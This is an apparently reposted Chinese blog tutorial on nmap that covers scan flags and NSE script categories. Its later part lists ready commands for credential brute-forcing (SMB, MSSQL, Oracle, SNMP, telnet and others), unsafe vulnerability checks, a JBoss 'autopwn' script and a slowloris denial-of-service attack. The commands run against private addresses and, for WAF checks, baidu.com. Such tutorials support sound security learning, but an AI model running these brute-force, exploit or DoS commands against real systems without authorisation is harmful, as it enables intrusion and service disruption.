nmap简单参数教程

Nmap介绍

Nmap是一款非常强大的实用工具,可用于:

1.检测活在网络上的主机( 主机发现

2.检测主机上开放的端口( 端口发现

3.检测到相应的端口服务( 服务发现

4.软件版本检测脆弱性的漏洞( Nmap的脚本

Nmap参考指南,太详细了不适合刚接触的人

主机发现

参数

参数 作用
无参数 扫描目标主机所有的信息比如ipv4、 反向dns名字、网络服务端口及运行状态等
-sn 不进行端口扫描
- -traceroute 追踪到目标主机经过的路由器信息
-sP Ping扫描。 仅仅 进行ping扫描 (主机发现),然后打印出对扫描做出响应的那些主机。 没有进一步的测试 (如端口扫描或者操作系统探测)。
-PS [端口号] TCP SYN Ping。默认目的端口为80。SYN标志位告诉对方您正试图建立一个连接。 若目标端口是关闭的,一个RST (复位) 包会发回来。 若端口是开放的,目标会回应 一个SYN/ACK报文。然后运行Nmap的机器则会扼杀这个正在建立的连接, 发送一个RST报文结束握手
-PA [端口号] TCP ACK Ping。默认端口(80)。发送ACK报文表示确认一个建立连接的尝试,目标返回RST报文。
-PU [portlist] UDP Ping。默认端口是31338。它发送一个空的(除非指定了–data-length UDP报文到目标的端口。如果目标机器的端口是 关闭的,UDP探测得到一个ICMP端口无法到达的报文。 这对于Nmap意味着该机器正在运行。
-PR ARP Ping。
-il 读取文件中的IP地址操作
-n 不用域名解析。map 永不对它发现的活动IP地址进行反向域名解析。 既然DNS一般比较慢,这可以让事情更快些。
-R 为所有目标解析域名。Nmap map 永远 对目标IP地址作反向域名解析
–system-dns 使用系统域名解析器

端口发现

Nmap识别的端口状态

符号 意义
open 开放的
closed 关闭的
filtered 被过滤的。由于包过滤阻止探测报文到达端口, Nmap无法确定该端口是否开放。
unfiltered 未被过滤的。未被过滤状态意味着端口可访问,但Nmap不能确定它是开放还是关闭。
open/filtered 开放或者被过滤的
closed/filtered 关闭或者被过滤的

参数

参数 作用
-p 端口扫描。后面跟端口。-p- localhost 扫描所有端口。-p[1-65535] 扫描所有端口
-sS TCP SYN扫描。它不打开一个完全的TCP连接。它发送一个SYN报文,返回 SYN/ACK表示端口开放,而 RST (复位)表示端口关闭。
-sT TCP connect()扫描。当Nmap连接,然后不发送数据又关闭连接
-sU UDP扫描。如果返回ICMP端口不可到达错误, 该端口是closed(关闭的)。
-sA TCP ACK扫描。当扫描未被过滤的系统时, open(开放的)和closed(关闭的) 端口 都会返回RST报文。Nmap把它们标记为 unfiltered(未被过滤的)
–scanflags –scanflags选项允许您通过指定任意TCP标志位来设计您自己的扫描。
-sI <zombie host[:probeport]> 指定僵尸机扫描

Nmap僵尸扫描

调用nmap的脚本查看某个IP是否能作为zombia
调用nmap的脚本查看某个IP是否能作为zombia
-sI  指定zombia
-sI 指定zombia

服务发现

参数 作用
-sV 版本探测
-O 操作系统识别
-O -v 详细模式的系统查询
-A 强烈扫描
-il 读取文件中的IP地址操作
–ttl 指定TTL值
-sC 接 目标IP 使用NSE脚本扫描目标主机检测漏洞

Nmap脚本的使用

参数

参数 作用
- -script=类别 用制定类别扫描。比如后面可以跟Nmap脚本名字用脚本扫描
- -script=脚本 使用某个或某类脚本进行扫描
- -script-args=参数 为脚本提供默认参数
- -script-args-file=filename 使用文件为脚本提供参数
- -script-trace 显示脚本执行过程中发送与接收的数据
- -script-updatedb 更新脚本数据库
- -script-help= 显示脚本的帮助信息,=后可以逗号分隔的文件或脚本类别

下面是- -script=后面常接的扫描方式

auth:      负责处理鉴权证书(绕开鉴权)的脚本  
broadcast: 在局域网内探查更多服务开启状况,如dhcp/dns/sqlserver等服务  
brute:     提供暴力破解方式,针对常见的应用如http/snmp等  
default:   使用-sC或-A选项扫描时候默认的脚本,提供基本脚本扫描能力  
discovery: 对网络进行更多的信息,如SMB枚举、SNMP查询等  
dos:       用于进行拒绝服务攻击  
exploit:   利用已知的漏洞入侵系统  
external:  利用第三方的数据库或资源,例如进行whois解析  
fuzzer:    模糊测试的脚本,发送异常的包到目标机,探测出潜在漏洞 intrusive: 入侵性的脚本,此类脚本可能引发对方的IDS/IPS的记录或屏蔽  
malware:   探测目标机是否感染了病毒、开启了后门等信息  
safe:      此类与intrusive相反,属于安全性脚本  
version:   负责增强服务与版本扫描(Version Detection)功能的脚本  
vuln:      负责检查目标机是否有常见的漏洞(Vulnerability),如是否有MS08_067

Nmap一些用法

下面是如何使用脚本:
利用脚本扫描
上图是利用Nmap脚本扫描。

nmap按脚本分类扫描

两个WAF扫描脚本

nmap --script=http-waf-detect www.baidu.com扫描目标是否有WAF网络防火墙保护
nmap --script=http-waf-fingerprint www.baidu.com 作用同上,但是更详细

(1) nmap --script=auth 192.168.137.*  负责处理鉴权证书(绕开鉴权)的脚本,也可以作为检测部分应用弱口令

(2)nmap --script=brute 192.168.137.*  提供暴力破解的方式  可对数据库,smb,snmp等进行简单密码的暴力猜解

(3)nmap --script=default 192.168.137.* 或者 nmap -sC 192.168.137.*  默认的脚本扫描,主要是搜集各种应用服务的信息,收集到后,可再针对具体服务进行攻击

(4)nmap --script=vuln 192.168.137.*      检查是否存在常见漏洞

(5)nmap -n -p445 --script=broadcast 192.168.137.4 在局域网内探查更多服务开启状况

(6)nmap --script external 202.103.243.110 利用第三方的数据库或资源,例如进行whois解析
(7)nmap --script=http-waf-detect  www.baidu.com扫描目标是否有WAF网络防火墙保护
     nmap --script=http-waf-fingerprint  www.baidu.com 作用同上,但是更详细

nmap按应用服务扫描

smb扫描:

smb破解
nmap  --script=smb-brute.nse 192.168.137.4   

smb字典破解
nmap --script=smb-brute.nse --script-args=userdb=/var/passwd,passdb=/var/passwd 192.168.137.4  

smb已知几个严重漏
nmap  --script=smb-check-vulns.nse --script-args=unsafe=1 192.168.137.4    

Mssql扫描:


猜解mssql用户名和密码
nmap -p1433 --script=ms-sql-brute --script-args=userdb=/var/passwd,passdb=/var/passwd 192.168.137.4   

扫描root空口令
nmap -p3306 --script=mysql-empty-password.nse 192.168.137.4   

列出所有mysql用户
nmap -p3306 --script=mysql-users.nse --script-args=mysqluser=root 192.168.137.4   

Oracle扫描:

oracle sid扫描
nmap --script=oracle-sid-brute -p 1521-1560 192.168.137.5  

oracle弱口令破解
nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=ORCL,userdb=/var/passwd,passdb=/var/passwd 192.168.137.5      

其他一些比较好用的脚本

nmap --script=broadcast-netbios-master-browser 192.168.137.4   发现网关

nmap -p 873 --script rsync-brute --script-args 'rsync-brute.module=www' 192.168.137.4  破解rsync

nmap --script informix-brute -p 9088 192.168.137.4             informix数据库破解

nmap -p 5432 --script pgsql-brute 192.168.137.4                pgsql破解

nmap -sU --script snmp-brute 192.168.137.4                     snmp破解

nmap -sV --script=telnet-brute 192.168.137.4                   telnet破解

nmap --script=http-vuln-cve2010-0738 --script-args 'http-vuln-cve2010-0738.paths={/path1/,/path2/}' <target>  jboss autopwn

nmap --script=http-methods.nse 192.168.137.4                   检查http方法

nmap --script http-slowloris --max-parallelism 400 192.168.137.4  dos攻击,对于处理能力较小的站点还挺好用的 'half-HTTP' connections 

nmap --script=samba-vuln-cve-2012-1182  -p 139 192.168.137.4

猜你喜欢

转载自blog.csdn.net/qq_30247635/article/details/86247744